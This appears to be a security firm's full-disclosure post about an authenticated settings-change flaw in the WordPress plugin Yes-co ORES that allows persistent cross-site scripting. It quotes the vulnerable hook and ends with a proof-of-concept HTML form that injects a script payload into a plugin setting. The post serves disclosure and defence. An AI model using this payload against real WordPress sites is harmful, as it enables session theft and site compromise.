One of the ways we help to improve the security of WordPress plugins, not just for our customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that we caught an authenticated settings change vulnerability that leads to an authenticated persistent cross-site scripting (XSS) vulnerability in the plugin Yes-co ORES.
The plugin allows changing its settings through an AJAX accessible function ajaxSetSetting(). That is registered to be accessible to anyone logged in to WordPress:
add_action('wp_ajax_setsetting', array($this, 'ajaxSetSetting'));
That function, which is located in the file /includes/classes/yog_plugin.php, doesn’t do any security checks beyond restricting what WordPress options (settings) can be changed to ones connected with the plugin:
1304 1305 1306 1307 1308 1309 1310 1311 1312 1313 1314 1315 1316 1317
There should be a restriction on what WordPress roles are allowed to change the settings, protection against cross-site request forgery (CSRF), and probably some combination of validation and sanitation of the new values of the settings.
<input type="text" value="<?php echo (get_option('yog_google_maps_api_key') ? get_option('yog_google_maps_api_key') :''); ?>" name="yog_google_maps_api_key" id="yog_google_maps_api_key" />
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof concept will cause an alert box with any available cookies to be shown when accessing the page /wp-admin/options-general.php?page=yesco_OG, when logged in to WordPress.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=setsetting" method="POST"> <input type="hidden" name="name" value="yog_google_maps_api_key" /> <input type="hidden" name="value" value='"><script>alert(document.cookie);</script>' /> <input type="submit" value="Submit request" /> </form> </body> </html>